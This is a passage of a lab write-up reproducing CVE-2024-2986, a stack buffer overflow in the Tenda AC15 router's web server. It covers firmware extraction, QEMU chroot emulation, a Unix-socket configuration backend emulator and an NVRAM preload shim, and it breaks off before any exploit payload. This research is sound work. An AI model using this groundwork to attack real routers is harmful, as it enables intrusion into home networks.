1 Overview

1.1 CVE-2024-2986

CVE-2024-2986 was publicly described as a stack overflow in formSetSpeedWan, where speed_dir was formatted into a stack buffer with sprintf without a proper length check.

  • Vendor: Tenda
  • CVE: CVE-2024-2986
  • CNVD: CNVD-2025-31165
  • Affected endpoint: /goform/SetSpeedWan
  • Vulnerable parameter: speed_dir
  • Vulnerability type: Stack buffer overflow
  • Impact: Denial of Service and possible Remote Code Execution

Vulnerable pseudocode:

C
// User-controlled input retrieval
char *speedDir = get_param_or_default(request, "speed_dir", "0");

// Response construction (vulnerable to injection)
sprintf(
    response,
    "{\"errCode\":%d,\"speed_dir\":%s}",
    errorCode,
    speedDir
);

This write-up is for authorized research/lab use only. Testing only with authorization.

1.2 Victim Target

The target is a widely deployed IoT firmware used in home routers.

1.2.1 Tenda AC15

The public CVE text names FH1202, but this lab reproduction used the AC15 firmware branch from the published handler analysis. The runtime still reflected a typical Linux router:

  • Routes traffic between WAN (internet side) and LAN (home side)
  • Provides NAT/firewall rules
  • Runs a web management service (httpd) for configuration
  • Stores settings (wireless, WAN, admin config) in config/NVRAM-like storage

1.2.2 Web Management Service

The bug exists in the router web admin panel:

The web interface is served by the httpd daemon. The following attack surface was identified for exploitation:

  1. Send an HTTP request to the router management IP.
  2. httpd receives the request under /goform/....
  3. The handler parses speed_dir.
  4. The handler writes a response with C string API sprintf.
  5. Without proper bounds, the stack could be corrupted.

1.3 ARM Architecture

For the AC15 image, the target was 32-bit ARM little-endian. Emulation, debugger setup, calling convention review, and the final payload layout were therefore ARM-specific.

Major ARM characteristics:

  • Calling convention: first arguments are passed in r0-r3.
  • Return control is tracked through lr and the saved stack frame.
  • Debug/emulation tooling: use ARM binaries (qemu-arm-static, gdb-multiarch with ARM target).

This writeup only records the ARM details needed for this target. Useful references:


2 Lab Deployment

2.1 Host Environment Fingerprinting

The lab environment profile:

  • Hypervisor: VMware
  • Guest OS: Ubuntu 22.04.5
  • Lab host architecture: x86_64
  • Target firmware architecture: ARM little-endian
  • Recommended VM resources: 4 vCPU, 8 GB RAM, 60+ GB disk

2.2 Dependency Setup

2.2.1 Required Packages

Install toolchain:

Bash
sudo apt update
sudo apt install -y \
    binwalk qemu-user-static gdb-multiarch patchelf file unzip wget curl \
    python3 python3-pip python3-venv build-essential git \
    libcapstone-dev squashfs-tools liblzma-dev liblzo2-dev zlib1g-dev liblz4-dev
python3 -m pip install --user pwntools requests ropgadget

2.2.2 SquashFS Tooling

Skip this if not needed for patching the environment.

This firmware uses non-standard SquashFS metadata. SquashFS is a compressed read-only filesystem commonly used for:

  • Embedded devices (routers, cameras, IoT)
  • Firmware images
  • Live Linux systems
  • Containers and appliances

Later, binwalk -e is used to extract the image. It may detect the offsets correctly but still fail to unpack squashfs-root unless sasquatch is available and compatible with the local compiler.

Prepare extractor:

Bash
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch

# bootstrap source tree (creates squashfs4.3/ on first run)
if [ ! -d squashfs4.3 ]; then
	./build.sh || true
fi

# compiler compatibility adjustments
sed -i 's/-Wall -Werror/-Wall -fcommon/' squashfs4.3/squashfs-tools/Makefile
sudo chown -R $USER:$USER .
chmod -R u+rwX squashfs4.3

# rebuild and install
make -C squashfs4.3/squashfs-tools clean
make -C squashfs4.3/squashfs-tools
sudo install -m 0755 squashfs4.3/squashfs-tools/sasquatch /usr/local/bin/sasquatch

2.3 Workspace Initialization

The lab workspace used this layout across the writeup:

Tree
~/labs/cve-2024-2986/
├── firmware/   # downloaded zip, extracted .bin, binwalk output
└── rootfs/     # runtime filesystem for emulation/chroot

Initialize workspace:

Bash
mkdir -p ~/labs/cve-2024-2986/{firmware,rootfs}
cd ~/labs/cve-2024-2986

Download and unpack the firmware:

Bash
wget -O 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip' \
  'https://static.tenda.com.cn/tdcweb/download/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip'
mkdir -p firmware/ac15_15030519
unzip -o 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip' -d firmware/ac15_15030519

The unpacked firmware image:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ file firmware/ac15_15030519/'US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin'
firmware/ac15_15030519/US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin: u-boot legacy uImage, \002, Linux/ARM, OS Kernel Image (lzma), 10629120 bytes, Fri May
26 02:03:05 2017, Load Address: 0X80000000, Entry Point: 0XC0008000, Header CRC: 0X1FE383A9, Data CRC: 0XE67F312E

2.4 Firmware Extraction

Use binwalk to extract the US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin image:

Bash
cd ~/labs/cve-2024-2986/firmware/ac15_15030519
binwalk -e -1 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin'

-1 was used to preserve original symlinks during extraction.

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ binwalk -e -1 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin'

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0
92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes
1875608       0x1C9E98        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03

This extraction result gave the first concrete layout of the AC15 image:

  • 0x40: TRX firmware header
  • 0x5C: LZMA-compressed kernel payload
  • 0x1C9E98: SquashFS root filesystem
axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ binwalk -e -1 'US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin'

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0
92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes
1875608       0x1C9E98        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03

axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ tree _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/ -L 2
_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
├── 1C9E98.squashfs
├── 5C
├── 5C.7z
├── squashfs-root
│   ├── bin
│   ├── cfg
│   ├── dev
│   ├── etc -> /var/etc
│   ├── etc_ro
│   ├── home -> /var/home
│   ├── init -> bin/busybox
│   ├── lib
│   ├── mnt
│   ├── proc
│   ├── root -> /var/root
│   ├── sbin
│   ├── sys
│   ├── tmp
│   ├── usr
│   ├── var
│   ├── webroot -> var/webroot
│   └── webroot_ro
└── squashfs-root-0
    ├── bin
    ├── cfg
    ├── dev
    ├── etc -> /var/etc
    ├── etc_ro
    ├── home -> /var/home
    ├── init -> bin/busybox
    ├── lib
    ├── mnt
    ├── proc
    ├── root -> /var/root
    ├── sbin
    ├── sys
    ├── tmp
    ├── usr
    ├── var
    ├── webroot -> var/webroot
    └── webroot_ro

30 directories, 11 files

The unpacked directory contains:

  • 1C9E98.squashfs
    • the carved SquashFS filesystem blob at the offset reported by binwalk
  • squashfs-root/
    • unpacked root filesystem produced by the extractor
  • squashfs-root-0/
    • a second unpacked copy created during recursive extraction; for this lab it is redundant

Only one unpacked root filesystem is needed for emulation. We only used squashfs-root/ as the runtime source tree.

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ tree -P rcS --prune _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
└── squashfs-root
    └── etc_ro
        └── init.d
            └── rcS

axura@ubuntu-22-04-5:~/labs/cve-2024-2986/firmware/ac15_15030519$ tree -P httpd --prune _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
└── squashfs-root
    └── bin
        └── httpd

The important runtime artifacts from this tree are:

  • bin/httpd
    • primary web management server — the victim binary
  • etc_ro/init.d/rcS
    • boot-time script that prepares runtime directories and daemon startup
  • webroot_ro/
    • static web UI files and request flow context

2.5 Root Filesystem Construction

At this stage, the lab root filesystem is prepared by populating the extracted firmware into rootfs, which is later used for chroot. QEMU is also deployed to emulate the ARM runtime.

Duplicate the firmware runtime layout to ~/labs/cve-2024-2986/rootfs:

Bash
# make sure it is clean
rm -rf ~/labs/cve-2024-2986/rootfs/*

# copy from extraction
sudo cp -a \
    ~/labs/cve-2024-2986/firmware/ac15_15030519/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root/. \
    ~/labs/cve-2024-2986/rootfs/

All later commands run against ~/labs/cve-2024-2986/rootfs.

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ tree rootfs/ -L 1
rootfs/
├── bin
├── cfg
├── dev
├── etc -> /var/etc
├── etc_ro
├── home -> /var/home
├── init -> bin/busybox
├── lib
├── mnt
├── proc
├── root -> /var/root
├── sbin
├── sys
├── tmp
├── usr
├── var
├── webroot -> var/webroot
└── webroot_ro

14 directories, 4 files

For convenience, this path is exported as $LAB in ~/.bashrc:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ cat ~/.bashrc | grep LAB
export LAB=$HOME/labs/cve-2024-2986/rootfs

Then copy qemu-arm-static into the lab rootfs. It acts as the userspace translator that lets the x86_64 host execute the firmware's ARM ELF binaries after chroot:

Bash
sudo cp /usr/bin/qemu-arm-static "$LAB/usr/bin/"

3 Httpd Service Emulation

This stage reconstructs enough of the AC15 userspace to run the firmware httpd inside an x86_64 VM, removing the need for a physical router. By emulating the runtime environment, we can analyze the real web-management process in a controlled and reproducible setting.

3.1 Web Interface Exposure

The first missing piece is the LAN-side interface that the web management service expects. In this lab, that role is reproduced with br0:

Bash
sudo ip link add name br0 type bridge 2>/dev/null || true
sudo ip link set br0 up
sudo ip addr replace 192.168.200.5/24 dev br0

Later in the firmware configuration, we observe that br0 is used as the default bridge interface.

This becomes the management-side address used later for service validation and /goform/SetSpeedWan.

3.2 rcS Runtime Reconstruction

The extracted rootfs is not immediately runnable as-is. The firmware keeps default content in read-only trees such as etc_ro/ and webroot_ro/, and rcS promotes them into live paths under /etc, /webroot, and /var before any service starts.

Read the rcS script under:

Path
$LAB/etc_ro/init.d/rcS

The emulated runtime preparation followed the same sequence:

Bash
sudo chroot "$LAB" /usr/bin/qemu-arm-static /bin/sh -c '
mount -t ramfs none /var/
mkdir -p /var/etc /var/media /var/webroot /var/etc/iproute /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a
mount -t ramfs none /dev
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
mkdir -p /var/run
'

3.3 Missing Backend Dependencies

At this point, the filesystem looked right, but httpd was still not standalone. Configuration paths were delegated to backend components that do not exist automatically in offline emulation.

Two missing pieces showed up immediately once the rootfs was inspected.

The first gap was inside the chroot runtime:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ sudo chroot "$LAB" /usr/bin/qemu-arm-static /bin/sh
~ # ls -l /var/cfm_socket
ls: /var/cfm_socket: No such file or directory

The second gap was in the httpd symbol surface:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -Ws "$LAB/bin/httpd" | grep -E 'bcm_nvram'
   146: 0000efa8     0 FUNC    GLOBAL DEFAULT  UND bcm_nvram_set
   161: 0000effc     0 FUNC    GLOBAL DEFAULT  UND bcm_nvram_match
   200: 0000f0f8     0 FUNC    GLOBAL DEFAULT  UND bcm_nvram_get
   357: 0000f440     0 FUNC    GLOBAL DEFAULT  UND bcm_nvram_commit

These checks established the two missing dependencies directly:

  • /var/cfm_socket (used by libCfm.so) is absent, so the local CFM client has no backend endpoint
  • bcm_nvram_set, bcm_nvram_match, bcm_nvram_get, and bcm_nvram_commit are imported in the ARM httpd, but unresolved

Without these two pieces, the emulated httpd could not follow its normal configuration path. The next steps therefore rebuild them in userland: a local CFM socket service and an NVRAM shim.

3.3.1 CFM Socket Service

Before bringing the service up, two binaries defined the dependency surface:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ file  $LAB/lib/libCfm.so
/home/axura/labs/cve-2024-2986/rootfs/lib/libCfm.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, with debug_info, not
stripped
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ file  $LAB/bin/httpd
/home/axura/labs/cve-2024-2986/rootfs/bin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.s
o.0, stripped

libCfm.so is the local configuration client used by httpd and other services. Its first job in this workflow was to reveal which endpoint it talks to and how that message format is structured.

To better understand how it works, we can take a deep dive into libCfm.so static reversing.

3.3.1.1 Backend Socket Endpoint

C
int ConnectServer()
{
  sockaddr_un server_sockaddr;
  int len;
  int fd;

  fd = socket(1, 1, 0);                      // AF_UNIX + SOCK_STREAM
  if ( fd < 0 )
    return fd;
  len = 110;                                 // sockaddr_un size 
  memset(&server_sockaddr, 0, sizeof(server_sockaddr));
  server_sockaddr.sun_family = 1;            // AF_UNIX
  strncpy(server_sockaddr.sun_path, "/var/cfm_socket", 0x6Bu);  // backend endpoint
  if ( connect(fd, (const struct sockaddr *)&server_sockaddr, len) != -1 )
    return fd;                               // connected CFM channel
  perror("connect");                         
  close(fd);                          
  return -1;
}

ConnectServer exposed three important facts directly:

  • local IPC uses AF_UNIX
  • backend path is /var/cfm_socket
  • socket type is SOCK_STREAM

So the emulated backend had to be a UNIX stream socket listener bound at:

Path
/var/cfm_socket

3.3.1.2 Packet Transport Size

C
int SendMsg(int sock, PCMDINFO pCmd)
{
  return write(sock, pCmd, 0x7E0u);    // fixed-size CMDINFO packet
}

int RecvMsg(int sock, PCMDINFO pCmd)
{
  ssize_t ret;

  do
    ret = read(sock, pCmd, 0x7E0u);    // fixed-size CMDINFO packet
  while ( ret == -1 && (*_errno_location() == 4 || *_errno_location() == 11) );
  return ret;
}

Transport is fixed-size:

  • SendMsg writes 0x7E0
  • RecvMsg reads 0x7E0

3.3.1.3 Packet Field Mapping

C
int GetValue(char *name, char *value)
{
  CMDINFO info_mib;                          // request/response packet
  char name_temp[512];                       // bounded copy of requested key
  int rt;

  rt = 1;
  memset(name_temp, 0, sizeof(name_temp));
  j_lockUserMutex();                         // serialize access to shared fd_mib
  if ( fd_mib > 0 || j_ConnectCfm() )        // reuse open connection or connect now
  {
    if ( strlen(name) <= 0x1FF )             // name must fit CMDINFO.name[0x200]
    {
      strcpy(name_temp, name);
      strcpy(info_mib.name, name_temp);      // request key
      info_mib.value[0] = 0;                 // clear return slot
      info_mib.cmd = 2;                      // GET request opcode
      rt = j_SendMsg(fd_mib, (PCMDINFO)&info_mib);
      if ( rt == 2016 && (rt = j_RecvMsg(fd_mib, (PCMDINFO)&info_mib), rt == 2016) )
      {
        if ( info_mib.cmd == 3 && !strcmp(info_mib.name, name_temp) ) // GET response for same key
        {
          rt = 1;
          strcpy(value, info_mib.value);      // copy returned value to caller
        }
      }
    }
  }
  j_unlockUserMutex();
  return rt;
}

int SetValue(char *name, char *value)
{
  CMDINFO info_mib;                          // request/response packet
  int ret;

  j_lockUserMutex();                         // serialize shared CFM channel
  if ( fd_mib > 0 || j_ConnectCfm() )
  {
    if ( strlen(name) <= 0x1FF )             // name must fit CMDINFO.name[0x200]
    {
      strcpy(info_mib.name, name);           // key name
      if ( strlen(value) <= 0x5DB )          // value must fit CMDINFO.value[0x5DC]
      {
        strcpy(info_mib.value, value);       // key value
        info_mib.cmd = 0;                    // SET request opcode
        ret = j_SendMsg(fd_mib, (PCMDINFO)&info_mib);
        if ( ret == 2016
          && (ret = j_RecvMsg(fd_mib, (PCMDINFO)&info_mib), ret == 2016)
          && info_mib.cmd == 1               // SET-OK response
          && !strcmp(info_mib.name, name) )  // backend echoed same key
        {
          ret = 1;
        }
      }
    }
  }
  j_unlockUserMutex();
  return ret;
}

These helpers defined the wire layout:

  • cmd at offset 0x0
  • name at offset 0x4 with length 0x200
  • value at offset 0x204 with length 0x5DC

CommitCfm uses the same packet and transport path for the apply step:

C
int CommitCfm()
{
  CMDINFO info_mib;                          // request/response packet
  int rtv;
  int rt;

  rt = 0;
  rtv = 1;
  j_lockUserMutex();                         // commit uses same shared backend channel
  if ( fd_mib > 0 || j_ConnectCfm() )
  {
    info_mib.cmd = 10;                       // COMMIT request opcode
    rt = j_SendMsg(fd_mib, (PCMDINFO)&info_mib);
    if ( rt == 2016 )                        // request packet sent successfully
    {
      rt = j_RecvMsg(fd_mib, (PCMDINFO)&info_mib);
      if ( rt == 2016 )                      // full response packet received
      {
        if ( info_mib.cmd != 11 && info_mib.cmd != 16 ) // accepted commit response codes
        {
          doSystemCmd("echo 'recv error[RecvMsg]' >> /var/miblog");
          j_DisconnectCfm();                 // drop broken session on protocol mismatch
          rtv = 0;
        }
      }
    }
  }
  j_unlockUserMutex();
  return 1;
}

The local configuration flow used by later web handlers is therefore:

  • GetValue for lookup
  • SetValue for update
  • CommitCfm for apply

3.3.1.4 Packet Structure

The decompiled AC15 build shows the request packet locals typed as CMDINFO in the current IDA database:

This is the packet contract used by the local CFM backend (GetValue, SetValue, CommitCfm) in the lab.

C
typedef struct _CMDINFO {
    int  cmd;          // +0x000
    char name[0x200];  // +0x004
    char value[0x5DC]; // +0x204
} CMDINFO;             // total: 0x7E0 (2016)

Our emulation helper has to preserve this exact wire format. If the packet size or field offsets are wrong, libCfm.so parses garbage and the web request path breaks before it reaches the vulnerable handler.

3.3.1.5 UDS Server Emulation

With the packet workflow and structure in place, the next step was to emulate the local socket /var/cfm_socket so the runtime httpd could continue through libCfm.so.

UDS (Unix Domain Socket) is local process-to-process communication over a filesystem path.

The full backend logic was not needed here. A small lab helper (uds_server.py) was enough to keep the local CFM request path alive by mirroring the same CMDINFO packet contract and returning structurally valid replies:

Python
#!/usr/bin/env python3
import argparse
import os
import signal
import socket
import struct
import sys
from typing import Dict, Tuple


# CFM packet contract recovered from IDA:
#   int cmd @ +0x0
#   char name[0x200] @ +0x4
#   char value[0x5DC] @ +0x204
MSG_SIZE = 0x7E0
NAME_OFF = 0x004
NAME_LEN = 0x200
VALUE_OFF = 0x204
VALUE_LEN = 0x5DC


def cstr(raw: bytes) -> str:
    """Read C-style string until first NUL."""
    return raw.split(b"\x00", 1)[0].decode("utf-8", errors="ignore")


def put_cstr(buf: bytearray, off: int, size: int, s: str) -> None:
    """Write bounded NUL-terminated string into fixed field."""
    data = s.encode("utf-8", errors="ignore")[: size - 1]
    buf[off : off + size] = b"\x00" * size
    buf[off : off + len(data)] = data


def parse_msg(data: bytes) -> Tuple[int, str, str]:
    """Normalize to fixed packet size, then decode fields by offset."""
    if len(data) < MSG_SIZE:
        data = data + (b"\x00" * (MSG_SIZE - len(data)))
    cmd = struct.unpack_from("<i", data, 0)[0]
    name = cstr(data[NAME_OFF : NAME_OFF + NAME_LEN])
    value = cstr(data[VALUE_OFF : VALUE_OFF + VALUE_LEN])
    return cmd, name, value


def build_msg(cmd: int, name: str = "", value: str = "") -> bytes:
    """Build one fixed-size CFM packet to send back."""
    out = bytearray(MSG_SIZE)
    struct.pack_into("<i", out, 0, cmd)
    put_cstr(out, NAME_OFF, NAME_LEN, name)
    put_cstr(out, VALUE_OFF, VALUE_LEN, value)
    return bytes(out)


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Minimal CFM UDS backend for Tenda AC15 emulation"
    )
    parser.add_argument(
        "--socket-path",
        default="/var/cfm_socket",
        help="UNIX socket path",
    )
    parser.add_argument(
        "--sock-type",
        choices=["dgram", "stream"],
        default="stream",
        help="UNIX socket type to emulate",
    )
    args = parser.parse_args()

    sock_path = args.socket_path
    os.makedirs(os.path.dirname(sock_path), exist_ok=True)

    # Remove stale socket file from previous runs.
    if os.path.exists(sock_path):
        os.unlink(sock_path)

    # Minimal in-memory config KV store for GET/SET emulation.
    store: Dict[str, str] = {}
    running = True

    def stop_handler(signum, _frame):
        nonlocal running
        print(f"[uds] signal {signum}, stopping")
        running = False

    signal.signal(signal.SIGINT, stop_handler)
    signal.signal(signal.SIGTERM, stop_handler)

    sock_type = socket.SOCK_DGRAM if args.sock_type == "dgram" else socket.SOCK_STREAM
    sock = socket.socket(socket.AF_UNIX, sock_type)
    sock.bind(sock_path)
    if sock_type == socket.SOCK_STREAM:
        sock.listen(16)
    sock.settimeout(0.5)
    os.chmod(sock_path, 0o777)
    print(
        f"[uds] listening on {sock_path} "
        f"(AF_UNIX/{'SOCK_DGRAM' if sock_type == socket.SOCK_DGRAM else 'SOCK_STREAM'}), "
        f"msg_size=0x{MSG_SIZE:x}"
    )

    try:
        while running:
            if sock_type == socket.SOCK_DGRAM:
                try:
                    data, addr = sock.recvfrom(MSG_SIZE)
                except socket.timeout:
                    continue
                except KeyboardInterrupt:
                    break

                cmd, name, value = parse_msg(data)
                print(f"[uds] recv cmd={cmd} name='{name}' value='{value[:64]}' addr={addr!r}")

                # Observed command contract in this build:
                #   SET(0)    -> ACK(1)
                #   GET(2)    -> ACK(3) with value
                #   COMMIT(10)-> ACK(11)
                if cmd == 0:
                    store[name] = value
                    resp = build_msg(1, name, value)
                elif cmd == 2:
                    resp = build_msg(3, name, store.get(name, ""))
                elif cmd == 10:
                    resp = build_msg(11, name, value)
                else:
                    # Unknown op: preserve wire shape and avoid hard failure.
                    resp = build_msg(cmd, name, value)

                try:
                    sent = sock.sendto(resp, addr)
                    if sent != MSG_SIZE:
                        print(f"[uds] short send: {sent}/{MSG_SIZE}")
                except Exception as e:
                    print(f"[uds] send error: {e}")
            else:
                try:
                    conn, _ = sock.accept()
                except socket.timeout:
                    continue
                except KeyboardInterrupt:
                    break
                with conn:
                    try:
                        data = conn.recv(MSG_SIZE)
                    except Exception as e:
                        print(f"[uds] recv error: {e}")
                        continue
                    if not data:
                        continue

                    cmd, name, value = parse_msg(data)
                    print(f"[uds] recv cmd={cmd} name='{name}' value='{value[:64]}'")

                    if cmd == 0:
                        store[name] = value
                        resp = build_msg(1, name, value)
                    elif cmd == 2:
                        resp = build_msg(3, name, store.get(name, ""))
                    elif cmd == 10:
                        resp = build_msg(11, name, value)
                    else:
                        resp = build_msg(cmd, name, value)

                    try:
                        conn.sendall(resp)
                    except Exception as e:
                        print(f"[uds] send error: {e}")
    finally:
        sock.close()
        # Always remove socket file on exit to keep next run clean.
        try:
            if os.path.exists(sock_path):
                os.unlink(sock_path)
        except OSError:
            pass
        print("[uds] stopped")

    return 0


if __name__ == "__main__":
    sys.exit(main())

The helper only implements the minimum command behavior needed by this request path:

  • SET (0) -> ACK (1)
  • GET (2) -> ACK (3) with stored value
  • COMMIT (10) -> ACK (11)

This was enough for service bring-up and for the early configuration requests that would otherwise fail inside libCfm.so.

The earlier ConnectServer() analysis already showed that the current libCfm.so uses:

C
socket(AF_UNIX, SOCK_STREAM, ...)

So the helper has to run in stream mode instead of datagram mode.

Two modes:

  • SOCK_STREAM is connection-oriented; connect() pairs with listen()/accept()
  • SOCK_DGRAM is message-oriented; there is no connection handshake, and send/receive semantics differ

If the helper starts with the wrong socket type, connect() fails with Protocol wrong type before the CFM path can work.

So in this lab, the UDS server is started with:

Bash
python3 uds_server.py --socket-path "$LAB/var/cfm_socket" --sock-type stream

3.3.2 NVRAM Hooking Layer

The second missing dependency is the Broadcom NVRAM layer. httpd imports helpers such as bcm_nvram_get, bcm_nvram_set, bcm_nvram_match, and bcm_nvram_commit. On the real router, those resolve into the platform configuration store. In emulation, those symbols are absent, so startup and request handling fail unless a compatible shim is injected.

3.3.2.1 Reference Config Source

The shim seeds its state from the firmware default configuration files:

Path
$LAB/webroot/default.cfg
$LAB/webroot/nvram_default.cfg

Both files exist in this AC15 rootfs. For this target branch, default.cfg is used as the primary seed source.

Keys relevant to the web service path include:

default.cfg
...

lan.ip=192.168.0.1
lan.webip=0.0.0.0
lan.webport=80
lan_ifname=br0
lan_ifnames=vlan1 eth1 eth2
...

These files are the baseline configuration source consumed by the preload shim.

3.3.2.2 Hook Implementation (hook_nvram.c)

The preload shim is implemented in hook_nvram.c. It keeps a small in-memory NVRAM table, loads defaults from default.cfg first, and writes a snapshot on commit:

C
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>

#define MAX_NV_PAIRS 4096
#define MAX_KEY_LEN 128
#define MAX_VAL_LEN 1024
/* Default paths (can be overridden by env vars below). */
#define NVRAM_SEED_PATH_DEFAULT "/webroot/default.cfg"
#define NVRAM_SEED_PATH_FALLBACK1 "/webroot/nvram_default.cfg"
#define NVRAM_SEED_PATH_FALLBACK2 "/var/default.cfg"
#define NVRAM_COMMIT_SNAPSHOT_DEFAULT "/tmp/nvram_commit_snapshot.cfg"

typedef struct {
    int used;
    char key[MAX_KEY_LEN];
    char val[MAX_VAL_LEN];
} nv_pair_t;

static nv_pair_t g_nv[MAX_NV_PAIRS];
static pthread_mutex_t g_nv_lock = PTHREAD_MUTEX_INITIALIZER;
static int g_loaded = 0;
static const char *g_seed_path = NVRAM_SEED_PATH_DEFAULT;
static const char *g_snapshot_path = NVRAM_COMMIT_SNAPSHOT_DEFAULT;

static const char *pick_env_or_default(const char *env_name, const char *fallback) {
    const char *v = getenv(env_name);
    if (v && *v) return v;
    return fallback;
}

static int find_key(const char *key) {
    /* Linear lookup is enough for lab-scale emulation. */
    int i;
    for (i = 0; i < MAX_NV_PAIRS; i++) {
        if (g_nv[i].used && strcmp(g_nv[i].key, key) == 0) {
            return i;
        }
    }
    return -1;
}

static int alloc_slot(void) {
    /* First free slot for a new key. */
    int i;
    for (i = 0; i < MAX_NV_PAIRS; i++) {
        if (!g_nv[i].used) {
            return i;
        }
    }
    return -1;
}

static void set_kv_locked(const char *key, const char *val) {
    /* Upsert (insert/update) key-value pair. */
    int idx;
    if (!key || !*key) return;
    if (!val) val = "";

    idx = find_key(key);
    if (idx < 0) {
        idx = alloc_slot();
        if (idx < 0) return;
        g_nv[idx].used = 1;
        strncpy(g_nv[idx].key, key, MAX_KEY_LEN - 1);
        g_nv[idx].key[MAX_KEY_LEN - 1] = '\0';
    }

    strncpy(g_nv[idx].val, val, MAX_VAL_LEN - 1);
    g_nv[idx].val[MAX_VAL_LEN - 1] = '\0';
}

static void load_cfg_file(const char *path) {
    /* Parse Broadcom-style "key=value" defaults. */
    FILE *fp;
    char line[1536];
    char *eq;
    char *k;
    char *v;

    fp = fopen(path, "r");
    if (!fp) return;

    while (fgets(line, sizeof(line), fp)) {
        k = line;
        while (*k == ' ' || *k == '\t') k++;
        if (*k == '#' || *k == ';' || *k == '\n' || *k == '\0') continue;

        eq = strchr(k, '=');
        if (!eq) continue;
        *eq = '\0';
        v = eq + 1;

        while (*v == ' ' || *v == '\t') v++;
        k[strcspn(k, "\r\n\t ")] = '\0';
        v[strcspn(v, "\r\n")] = '\0';

        if (*k) set_kv_locked(k, v);
    }
    fclose(fp);
}

static int file_exists(const char *path) {
    FILE *fp;
    if (!path || !*path) return 0;
    fp = fopen(path, "r");
    if (!fp) return 0;
    fclose(fp);
    return 1;
}

static void ensure_loaded_locked(void) {
    /* Lazy one-time preload from firmware defaults. */
    if (g_loaded) return;
    /*
     * AC15 rootfs carries both default.cfg and nvram_default.cfg. Prefer
     * default.cfg first for this target branch, then fall back to the other
     * known firmware paths.
     */
    if (file_exists(g_seed_path)) {
        load_cfg_file(g_seed_path);
    } else if (file_exists(NVRAM_SEED_PATH_FALLBACK1)) {
        load_cfg_file(NVRAM_SEED_PATH_FALLBACK1);
    } else if (file_exists(NVRAM_SEED_PATH_FALLBACK2)) {
        load_cfg_file(NVRAM_SEED_PATH_FALLBACK2);
    }
    g_loaded = 1;
}

__attribute__((visibility("default")))
int bcm_nvram_set(const char *name, const char *value) {
    /* Firmware expects 0 on success. */
    pthread_mutex_lock(&g_nv_lock);
    ensure_loaded_locked();
    set_kv_locked(name, value);
    pthread_mutex_unlock(&g_nv_lock);
    return 0;
}

__attribute__((visibility("default")))
char *bcm_nvram_get(const char *name) {
    /* Return internal pointer, similar to legacy nvram APIs. */
    int idx;
    pthread_mutex_lock(&g_nv_lock);
    ensure_loaded_locked();
    idx = find_key(name ? name : "");
    pthread_mutex_unlock(&g_nv_lock);
    if (idx < 0) return NULL;
    return g_nv[idx].val;
}

__attribute__((visibility("default")))
int bcm_nvram_match(const char *name, const char *match) {
    /* Non-zero means match, zero means mismatch/failure. */
    char *v = bcm_nvram_get(name);
    if (!v || !match) return 0;
    return strcmp(v, match) == 0;
}

__attribute__((visibility("default")))
int bcm_nvram_unset(const char *name) {
    /* Optional helper used by some paths. */
    int idx;
    pthread_mutex_lock(&g_nv_lock);
    ensure_loaded_locked();
    idx = find_key(name ? name : "");
    if (idx >= 0) {
